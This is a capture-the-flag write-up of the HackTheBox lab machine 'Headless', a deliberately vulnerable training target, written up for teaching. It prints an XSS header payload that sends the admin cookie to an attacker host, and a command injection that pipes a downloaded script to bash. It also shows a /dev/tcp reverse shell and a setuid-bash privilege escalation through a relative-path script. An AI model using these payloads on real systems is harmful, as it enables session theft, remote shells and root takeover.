HackTheBox: Headless

Foued SAIDI Lv4

Overview

Headless is an easy-difficulty HackTheBox machine dealing with XSS (cross site scripting), command injection, and linux. It starts with a basic web app with a contact form with an alert saying that my request headers have been forwarded for analysis after inputting any values. I inject an XSS payload into request headers to fetch the admin cookie. As an admin user, I get access to the dashboard, where I can perform command injection to land a shell. For privilege escalation, I abuse a systemcheck script that tries to run another script with a relative path.

Headles-info-card
Headles-info-card

Reconnaissance

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
PS C:\Users\0xkujen> nmap -A -Pn 10.129.140.133
Nmap scan report for 10.129.140.133
Host is up (0.41s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 900294283dab2274df0ea3b20f2bc617 (ECDSA)
|_ 256 2eb90824021b609460b384a99e1a60ca (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.11.2
| Date: Sat, 20 Jul 2024 14:18:16 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 2799
| Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Under Construction</title>
| <style>
| body {
| font-family: 'Arial', sans-serif;
| background-color: #f7f7f7;
| margin: 0;
| padding: 0;
| display: flex;
| justify-content: center;
| align-items: center;
| height: 100vh;
| .container {
| text-align: center;
| background-color: #fff;
| border-radius: 10px;
| box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
| RTSPRequest:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.93%I=7%D=7/20%Time=669BC6CF%P=i686-pc-windows-windows%
SF:r(GetRequest,BE1,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.2\.2
SF:\x20Python/3\.11\.2\r\nDate:\x20Sat,\x2020\x20Jul\x202024\x2014:18:16\x
SF:20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length
SF::\x202799\r\nSet-Cookie:\x20is_admin=InVzZXIi\.uAlmXlTvm8vyihjNaPDWnvB_
SF:Zfs;\x20Path=/\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html
SF:\x20lang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n
SF:\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-wi
SF:dth,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>Under\x20Construc
SF:tion</title>\n\x20\x20\x20\x20<style>\n\x20\x20\x20\x20\x20\x20\x20\x20
SF:body\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:
SF:\x20'Arial',\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20background-color:\x20#f7f7f7;\n\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20margin:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20padding:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20d
SF:isplay:\x20flex;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20justi
SF:fy-content:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0align-items:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20height:\x20100vh;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\n\x20\x20\x20
SF:\x20\x20\x20\x20\x20\.container\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20text-align:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20background-color:\x20#fff;\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20border-radius:\x2010px;\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20box-shadow:\x200px\x200px\x2020px\x20rgba\(0,\x2
SF:00,\x200,\x200\.2\);\n\x20\x20\x20\x20\x20")%r(RTSPRequest,16C,"<!DOCTY
SF:PE\x20HTML>\n<html\x20lang=\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20\x2
SF:0\x20\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\
SF:x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20res
SF:ponse</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p
SF:>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20ver
SF:sion\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error
SF:\x20code\x20explanation:\x20400\x20-\x20Bad\x20request\x20syntax\x20or\
SF:x20unsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=7/20%OT=22%CT=1%CU=40551%PV=Y%DS=2%DC=T%G=Y%TM=669BC77
OS:F%P=i686-pc-windows-windows)SEQ(SP=FB%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)
OS:SEQ(CI=Z%II=I)OPS(O1=M54EST11NW7%O2=M54EST11NW7%O3=M54ENNT11NW7%O4=M54ES
OS:T11NW7%O5=M54EST11NW7%O6=M54EST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5
OS:=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M54ENNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%
OS:T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T
OS:=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=
OS:0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(
OS:R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 200.05 seconds

We can see that we have OpenSSH running on port 22, and what seems to be a Python web app on port 5000.

Web application - 10.129.140.133:5000

Web App Port 5000
Web App Port 5000

Nothing seems to be special about this page except for the For questions button that redirects us to http://10.129.140.133:5000/support

Wappalyzer

Wappalyzer info
Wappalyzer info

Wappalyzer is displaying that this is a Python Flask web application.

Directory Bruteforcing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
PS C:\Users\0xkujen\Tools> feroxbuster.exe --url http://10.129.140.133:5000/
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher πŸ€“ ver: 2.8.0
───────────────────────────┬──────────────────────
🎯 Target Url β”‚ http://10.129.140.133:5000/
πŸš€ Threads β”‚ 50
πŸ“– Wordlist β”‚ .\SecLists\Discovery\Web-Content\raft-medium-directories.txt
πŸ‘Œ Status Codes β”‚ All Status Codes!
πŸ’₯ Timeout (secs) β”‚ 7
🦑 User-Agent β”‚ feroxbuster/2.8.0
🏁 HTTP methods β”‚ [GET]
πŸ”ƒ Recursion Depth β”‚ 4
πŸŽ‰ New Version Available β”‚ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menuβ„’
──────────────────────────────────────────────────
WLD - - - - http://10.129.140.133:5000/ => auto-filtering 404-like response (207 bytes); toggle this behavior by using --dont-filter
200 GET 96l 259w 2799c http://10.129.140.133:5000/
200 GET 93l 179w 2363c http://10.129.140.133:5000/support
500 GET 5l 37w 265c http://10.129.140.133:5000/dashboard

Dashboard Endpoint - 10.129.140.133:5000/dashboard

We get a 500 internal server error on the dashboard endpoint.

500 internal server error
500 internal server error

Support Endpoint - 10.129.140.133:5000/support

Web App Port 5000 support endpoint
Web App Port 5000 support endpoint

This seems like a casual support contact page.
Checking the cookies of this endpoint we can see that we have a is_admin cookie.

is_admin cookie
is_admin cookie

First thing that comes to mind is to test for XSS since this is a contact form.
I’ll be trying this XSS one-liner and see if it triggers anything:

1
'"*/onmouseover=(print)?.()><sVg/oNload='1>(_=prompt,_{{7*7}})'></sTyle/</scRIpt/</textArea/</noScript/</tiTle/--><h1/<h1><image/onerror='alert`1`%27'src>xhzeem%22%3E%3CSvg/\u0022\u003e\u003csVg/\x22\x3e\x3csVg/&quot;&gt;&lt;svG/onload=alert`2`//

Our payload is getting detected but some kind of a WAF (not really sure since no information is being displayed about it).

Hacking Attempt
Hacking Attempt

One thing we can do is inject our XSS payload in the request headers since they are being rendered on the page, maybe it will be triggered:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /support HTTP/1.1
Host: 10.129.140.133:5000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: <img src=x onerror=fetch('http://10.10.x.x/'+document.cookie);>
Origin: http://10.129.140.133:5000
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-GB,en
Referer: http://10.129.140.133:5000/support
Accept-Encoding: gzip, deflate
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
Content-Length: 1689

<snip>
1
2
3
4
PS C:\Users\0xkujen> python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.129.140.133 - - [20/Jul/2024 18:00:23] code 404, message File not found
::ffff:10.129.140.133 - - [20/Jul/2024 18:00:23] "GET /is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 404 -

That cookie is different than our user cookie, so it must be an admin cookie. We can confirm that on jwt.io :

user-cookie-jwt
user-cookie-jwt

admin-cookie-jwt
admin-cookie-jwt

Let’s now update the cookie value for admin and see what we can access.
And we can now access http://10.129.140.133:5000/dashboard that we were not able to do previously:

admin dashboard
admin dashboard

Upon clicking on Generate Report we get the system status:

system status
system status

Let’s now inspect what’s happening under the hood:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /dashboard HTTP/1.1
Host: 10.129.140.133:5000
Content-Length: 15
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.129.140.133:5000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-GB,en
Referer: http://10.129.140.133:5000/dashboard
Accept-Encoding: gzip, deflate
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0

date=2023-09-15

Command injection

Let’s try to test for command injection on the date field:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /dashboard HTTP/1.1
Host: 10.129.140.133:5000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.129.140.133:5000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-GB,en
Referer: http://10.129.140.133:5000/dashboard
Accept-Encoding: gzip, deflate
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Content-Length: 35

date=2023-09-15%26 curl 10.10.x.x

And we get a response from the server:

1
2
3
PS C:\Users\0xkujen> python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.129.140.133 - - [20/Jul/2024 18:37:53] "GET / HTTP/1.1" 200 -

Shell as dvir

Let’s now get a shell:

1
2
3
PS C:\Users\0xkujen> cat .\rev.sh
#!/bin/bash
sh -i >& /dev/tcp/10.10.x.x/9001 0>&1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /dashboard HTTP/1.1
Host: 10.129.140.133:5000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.129.140.133:5000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-GB,en
Referer: http://10.129.140.133:5000/dashboard
Accept-Encoding: gzip, deflate
Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Content-Length: 35

date=2023-09-15%26 curl http://10.10.x.x/rev.sh|bash

And a shell pops up!

1
2
3
4
5
6
7
8
9
PS C:\Users\0xkujen> nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.x.x] from (UNKNOWN) [10.129.140.133] 51894
bash: cannot set terminal process group (1178): Inappropriate ioctl for device
bash: no job control in this shell
dvir@headless:~/app$ id
id
uid=1000(dvir) gid=1000(dvir) groups=1000(dvir),100(users)
dvir@headless:~/app$

And we get our user flag:

1
2
3
4
dvir@headless:~$ cat /home/dvir/user.txt
cat /home/dvir/user.txt
0af4a4835bba8da******************
dvir@headless:~$

Privilege Escalation to root

Sudo permissions

sudo -l shows what this user can run as other users:

1
2
3
4
5
6
7
8
9
dvir@headless:~$ sudo -l
sudo -l
Matching Defaults entries for dvir on headless:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty

User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck

The dvir user can run syscheck as any user without their password.

Analysis of Syscheck script

syscheck is a Bash script:

1
2
3
dvir@headless:~$ file /usr/bin/syscheck
file /usr/bin/syscheck
/usr/bin/syscheck: Bourne-Again shell script, ASCII text executable

Let’s just take a look at the file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
dvir@headless:~$ cat /usr/bin/syscheck
cat /usr/bin/syscheck
#!/bin/bash

if [ "$EUID" -ne 0 ]; then
exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi

exit 0

This script check if the root user exists, gets the last modified time of the vmlinuz file in /boot then parses the output of df -h and gets a part of the output of uptime. The script finally runs pgrep to look for any process list with initdb.sh, if none exists it runs ./initdb.sh.

Crafting of initdb.sh script

I’ll write a simple Bash script that will copy bash to /tmp/bash, set the owner of that file to root, and then add sticky bit to it chmod u+s. This will give me a copy of bash that runs as root:

1
2
3
4
5
6
PS C:\Users\0xkujen> cat .\initdb.sh
#!/bin/bash

cp /bin/bash /tmp/bash
chown root:root /tmp/bash
chmod u+s /tmp/bash

We then drop the file on our shell and execute it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
dvir@headless:~$ wget 10.10.x.x/initdb.sh
wget 10.10.x.x/initdb.sh
--2024-07-20 21:17:40-- http://10.10.x.x/initdb.sh
Connecting to 10.10.x.x:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 82 [application/x-sh]
Saving to: ÔÇÿinitdb.shÔÇÖ

0K 100% 35.1K=0.002s

2024-07-20 21:17:41 (35.1 KB/s) - ÔÇÿinitdb.shÔÇÖ saved [82/82]

dvir@headless:~$ chmod +x initdb.sh
chmod +x initdb.sh
dvir@headless:~$ sudo /usr/bin/syscheck
sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.9G
System load average: 0.00, 0.00, 0.00
Database service is not running. Starting it...
dvir@headless:~$ ls -al /tmp/bash
ls -al /tmp/bash
-rwsr-xr-x 1 root root 1265648 Jul 20 21:18 /tmp/bash
dvir@headless:~$

I’ll run /tmp/bash with -p and get a root shell:

1
2
3
4
dvir@headless:~$ /tmp/bash -p
/tmp/bash -p
id
uid=1000(dvir) gid=1000(dvir) euid=0(root) groups=1000(dvir),100(users)

And we get our root flag:

1
2
cat /root/root.txt
e169fbf8654919******************

Thank you for reading <3
-0xkujen

  • Title: HackTheBox: Headless
  • Author: Foued SAIDI
  • Created at : 2024-07-20 19:22:28
  • Updated at : 2024-07-31 12:06:22
  • Link: https://kujen5.github.io/2024/07/20/HackTheBox-Headless/
  • License: This work is licensed under CC BY-NC-SA 4.0.